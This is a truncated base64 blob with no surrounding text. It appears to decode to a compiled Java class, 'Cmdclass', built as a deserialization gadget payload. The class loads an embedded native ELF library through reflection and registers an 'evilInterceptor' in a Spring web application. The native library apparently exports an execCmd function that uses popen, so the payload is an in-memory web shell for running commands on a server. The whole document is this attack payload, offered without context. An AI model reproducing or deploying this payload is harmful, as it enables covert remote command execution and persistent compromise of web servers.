20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAg8Y2xpbml0PgEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEACGpuaUJ5dGVzAQACW0IBABByYW5kb21BY2Nlc3NGaWxlAQAaTGphdmEvaW8vUmFuZG9tQWNjZXNzRmlsZTsBAAljbWRMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAEGNsYXNzTG9hZGVyQ2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAEm5hdGl2ZUxpYnJhcnlDbGF6egEABGxvYWQBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAD25hdGl2ZUxpYnJhcmllcwEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAARsaWJzAQASTGphdmEvdXRpbC9WZWN0b3I7AQARbmF0aXZlTGlicmFyeUNvbnMBAB9MamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAQbmF0aXZlTGlicmFyeU9iagEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAVbWFwcGluZ0hhbmRsZXJNYXBwaW5nAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmc7AQAFZmllbGQBABFhZGFwdEludGVyY2VwdG9ycwEAEExqYXZhL3V0aWwvTGlzdDsBAA9ldmlsSW50ZXJjZXB0b3IBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBACZMamF2YS91dGlsL1ZlY3RvcjxMamF2YS9sYW5nL09iamVjdDs+OwEAIkxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47BwCEBwDNBwD+BwDWBwD/BwEABwDgBwEBBwDuBwDvBwDzBwD0BwD1AQAKU291cmNlRmlsZQEADUNtZGNsYXNzLmphdmEMAEsATAcA+wwBAgBTAQADZ2JrBwD8DAEDAQQMAQUBBgwAUgBTBwEHDAEIAQQMAQkATAwBCgBMAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBCwBMDABqAGsMAG4AbwFTAGYwVk1SZ0lCQVFBQUFBQUFBQUFBQUFNQVBnQUJBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBTUEyQUFBQUFBQUFBQUFBQUVBQU9BQUxBRUFBSGdBZEFBRUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBOEFZQUFBQUFBQUR3QmdBQUFBQUFBQUFRQUFBQUFBQUFBUUFBQUFVQUFBQUFFQUFBQUFBQUFBQVFBQUFBQUFBQUFCQUFBQUFBQUFEQkJBQUFBQUFBQU1FRUFBQUFBQUFBQUJBQUFBQUFBQUFCQUFBQUJBQUFBQUFnQUFBQUFBQUFBQ0FBQUFBQUFBQUFJQUFBQUFBQUFPd0FBQUFBQUFBQTdBQUFBQUFBQUFBQUVBQUFBQUFBQUFFQUFBQUdBQUFBRUM0QUFBQUFBQUFRUGdBQUFBQUFBQkErQUFBQUFBQUFVQUlBQUFBQUFBQllBZ0FBQUFBQUFBQVFBQUFBQUFBQUFnQUFBQVlBQUFBZ0xnQUFBQUFBQUNBK0FBQUFBQUFBSUQ0QUFBQUFBQURBQVFBQUFBQUFBTUFCQUFBQUFBQUFDQUFBQUFBQUFBQUVBQUFBQkFBQUFLZ0NBQUFBQUFBQXFBSUFBQUFBQUFDb0FnQUFBQUFBQUNBQUFBQUFBQUFBSUFBQUFBQUFBQUFJQUFBQUFBQUFBQVFBQUFBRUFBQUF5QUlBQUFBQUFBRElBZ0FBQUFBQUFNZ0NBQUFBQUFBQUpBQUFBQUFBQUFBa0FBQUFBQUFBQUFRQUFBQUFBQUFBVStWMFpBUUFBQUNvQWdBQUFBQUFBS2dDQUFBQUFBQUFxQUlBQUFBQUFBQWdBQUFBQUFBQUFDQUFBQUFBQUFBQUNBQUFBQUFBQUFCUTVYUmtCQUFBQUFRZ0FBQUFBQUFBQkNBQUFBQUFBQUFFSUFBQUFBQUFBRFFBQUFBQUFBQUFOQUFBQUFBQUFBQUVBQUFBQUFBQUFGSGxkR1FHQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFVdVYwWkFRQUFBQVFMZ0FBQUFBQUFCQStBQUFBQUFBQUVENEFBQUFBQUFEd0FRQUFBQUFBQVBBQkFBQUFBQUFBQVFBQUFBQUFBQUFFQUFBQUVBQUFBQVVBQUFCSFRsVUFBZ0FBd0FRQUFBQURBQUFBQUFBQUFBUUFBQUFVQUFBQUF3QUFBRWRPVlFEVWM5Y2ZUbTZvMHhtakFEOE4yenVBbVNKYnZBQUFBQUFDQUFBQURBQUFBQUVBQUFBR0FBQUFEQUFBUUFBQUFBQU1BQUFBQUFBQUFON0F2NEdESit5UkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFkQUFBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWJRQUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBcHdBQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFXd0FBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWFBQUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFWUUFBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlRQUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTEFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSZ0FBQUNJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQW53QUFBQklBRGdENUVRQUFBQUFBQVBRQUFBQUFBQUFBaFFBQUFCSUFEZ0R0RWdBQUFBQUFBTVVCQUFBQUFBQUFBRjlmWjIxdmJsOXpkR0Z5ZEY5ZkFGOUpWRTFmWkdWeVpXZHBjM1JsY2xSTlEyeHZibVZVWVdKc1pRQmZTVlJOWDNKbFoybHpkR1Z5VkUxRGJHOXVaVlJoWW14bEFGOWZZM2hoWDJacGJtRnNhWHBsQUhCdmNHVnVBR1puWlhSekFITjBjbU5oZEFCbVpXOW1BSEJqYkc5elpRQmZYM04wWVdOclgyTm9hMTltWVdsc0FFcGhkbUZmWTI5dFgycGhkbUZ6WldOZlEyMWtZMnhoYzNOZlpYaGxZME50WkFCdFpXMXpaWFFBYkdsaVl5NXpieTQyQUVkTVNVSkRYekl1TWk0MUFFZE1TVUpEWHpJdU5BQUFBQUVBQWdBREFBTUFBd0FEQUFFQUF3QURBQUVBQXdBQkFBRUFBQUFBQUFBQUFRQUNBSzRBQUFBUUFBQUFBQUFBQUhVYWFRa0FBQU1BdUFBQUFCQUFBQUFVYVdrTkFBQUNBTVFBQUFBQUFBQUFFRDRBQUFBQUFBQUlBQUFBQUFBQUFQQVJBQUFBQUFBQUdENEFBQUFBQUFBSUFBQUFBQUFBQUxBUkFBQUFBQUFBV0VBQUFBQUFBQUFJQUFBQUFBQUFBRmhBQUFBQUFBQUE0RDhBQUFBQUFBQUdBQUFBQVFBQUFBQUFBQUFBQUFBQTZEOEFBQUFBQUFBR0FBQUFCd0FBQUFBQUFBQUFBQUFBOEQ4QUFBQUFBQUFHQUFBQUNnQUFBQUFBQUFBQUFBQUErRDhBQUFBQUFBQUdBQUFBQ3dBQUFBQUFBQUFBQUFBQUdFQUFBQUFBQUFBSEFBQUFEQUFBQUFBQUFBQUFBQUFBSUVBQUFBQUFBQUFIQUFBQUFnQUFBQUFBQUFBQUFBQUFLRUFBQUFBQUFBQUhBQUFBQXdBQUFBQUFBQUFBQUFBQU1FQUFBQUFBQUFBSEFBQUFCQUFBQUFBQUFBQUFBQUFBT0VBQUFBQUFBQUFIQUFBQUJRQUFBQUFBQUFBQUFBQUFRRUFBQUFBQUFBQUhBQUFBQmdBQUFBQUFBQUFBQUFBQVNFQUFBQUFBQUFBSEFBQUFDQUFBQUFBQUFBQUFBQUFBVUVBQUFBQUFBQUFIQUFBQUNRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQTVBIdnBJZyt3SVNJc0YyUzhBQUVpRndIUUMvOUJJZzhRSXd3QUFBQUFBL3pYaUx3QUE4djhsNHk4QUFBOGZBUE1QSHZwb0FBQUFBUExwNGYvLy81RHpEeDc2YUFFQUFBRHk2ZEgvLy8rUTh3OGUrbWdDQUFBQTh1bkIvLy8va1BNUEh2cG9Bd0FBQVBMcHNmLy8vNUR6RHg3NmFBUUFBQUR5NmFILy8vK1E4dzhlK21nRkFBQUE4dW1SLy8vL2tQTVBIdnBvQmdBQUFQTHBnZi8vLzVEekR4NzZhQWNBQUFEeTZYSC8vLytROHc4ZSt2TC9KVDB2QUFBUEgwUUFBUE1QSHZyeS95Vk5Md0FBRHg5RUFBRHpEeDc2OHY4bFJTOEFBQThmUkFBQTh3OGUrdkwvSlQwdkFBQVBIMFFBQVBNUEh2cnkveVUxTHdBQUR4OUVBQUR6RHg3Njh2OGxMUzhBQUE4ZlJBQUE4dzhlK3ZML0pTVXZBQUFQSDBRQUFQTVBIdnJ5L3lVZEx3QUFEeDlFQUFEekR4NzY4djhsRlM4QUFBOGZSQUFBU0kwOUdTOEFBRWlOQlJJdkFBQklPZmgwRlVpTEJZWXVBQUJJaGNCMENmL2dEeCtBQUFBQUFNTVBINEFBQUFBQVNJMDk2UzRBQUVpTk5lSXVBQUJJS2Y1SWlmQkl3ZTQvU01INEEwZ0J4a2pSL25RVVNJc0ZWUzRBQUVpRndIUUkvK0JtRHg5RUFBREREeCtBQUFBQUFQTVBIdnFBUGFVdUFBQUFkU3RWU0lNOU1pNEFBQUJJaWVWMERFaUxQWVl1QUFEbzJmNy8vK2hrLy8vL3hnVjlMZ0FBQVYzRER4OEF3dzhmZ0FBQUFBRHpEeDc2NlhmLy8vL3pEeDc2VlVpSjVVaUI3QUFRQUFCSWd3d2tBRWlCN0FBUUFBQklnd3drQUVpQjdBQVFBQUJJZ3d3a0FFaUQ3REJJaWIzWXovLy9TSW0xME0vLy8yUklpd1FsS0FBQUFFaUpSZmd4d0VpTGhkalAvLzlJalJXc0RRQUFTSW5XU0luSDZNSCsvLzlJaVlYb3ovLy9TSU85Nk0vLy93QjFRTGdBQUFBQTYyQklpNVhvei8vL1NJMkY4TS8vLzc2QUFBQUFTSW5INkc3Ky8vOUloY0IwR1VpTmxmRFAvLzlJaTRYUXovLy9TSW5XU0luSDZJRCsvLzlJaTRYb3ovLy9TSW5INkZIKy8vK0Z3SFMwU0l1RjZNLy8vMGlKeCtnTy92Ly91QUVBQUFCSWkxWDRaRWdyRkNVb0FBQUFkQVhvNWYzLy84bkQ4dzhlK2xWSWllVklnZXdBRUFBQVNJTU1KQUJJZ2V3QUVBQUFTSU1NSkFCSWdld0FFQUFBU0lNTUpBQklnZXl3QUFBQVNJbTlhTS8vLzBpSnRXRFAvLzlJaVpWWXovLy9aRWlMQkNVb0FBQUFTSWxGK0RIQVNJdUZhTS8vLzBpTEFFeUxnRWdGQUFCSWk0MVl6Ly8vU0l1RmFNLy8vN29BQUFBQVNJbk9TSW5IUWYvUVNJbUZjTS8vLzBqSGhmRFAvLzhBQUFBQVNNZUYrTS8vL3dBQUFBQklqWVVBMFAvL3V2QXZBQUMrQUFBQUFFaUp4K2hKL2YvL1NJMlY4TS8vLzBpTGhYRFAvLzlJaWRaSWljZm9BUDMvLzBqSGhZRFAvLzhBQUFBQVNNZUZpTS8vL3dBQUFBQkl4NFdRei8vL0FBQUFBRWpIaFpqUC8vOEFBQUFBU01lRm9NLy8vd0FBQUFCSXg0V296Ly8vQUFBQUFFakhoYkRQLy84QUFBQUFTTWVGdU0vLy93QUFBQUJJeDRYQXovLy9BQUFBQUVqSGhjalAvLzhBQUFBQVNNZUYwTS8vL3dBQUFBQkl4NFhZei8vL0FBQUFBTWVGNE0vLy93QUFBQUJJalpYd3ovLy9TSTJGZ00vLy8waUoxa2lKeCtqSi9QLy9TSXVGYU0vLy8waUxBRWlMaURnRkFBQklqWldBei8vL1NJdUZhTS8vLzBpSjFraUp4Ly9SU0ltRmVNLy8vMGlMaFhqUC8vOUlpMVg0WkVnckZDVW9BQUFBZEFYb0lQei8vOG5EQUFEekR4NzZTSVBzQ0VpRHhBakRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF